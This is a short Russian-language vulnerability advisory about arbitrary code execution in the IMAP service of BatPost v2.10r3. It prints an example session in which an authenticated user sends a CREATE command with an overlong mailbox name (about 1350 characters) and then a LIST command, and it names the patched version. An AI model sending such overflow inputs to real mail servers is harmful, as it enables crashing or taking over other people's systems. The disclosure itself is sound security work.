Выполнение произвольного кода в службе IMAP в BatPost

Описание:
Уязвимость позволяет удаленному авторизованному пользователю выполнить произвольный код на целевой системе.

Уязвимость существует при обработке входных данных в команде CREATE в службе IMAP. Удаленный авторизованный пользователь может выполнить произвольный код на целевой системе. Пример:

	* OK localhost (BatPost v2.10r3 [trial version]) IMAP4rev1 server ready
	0001 LOGIN "test" "12345"
	0001 OK authentication successful
	0002 CREATE "aaaa...X1350.....AAAA"
	0002 OK CREATE completed
	0003 LIST "*" "a" 

URL производителя: www.ritlabs.com

Решение: Установите исправленную версию (2.20b5) с сайта производителя.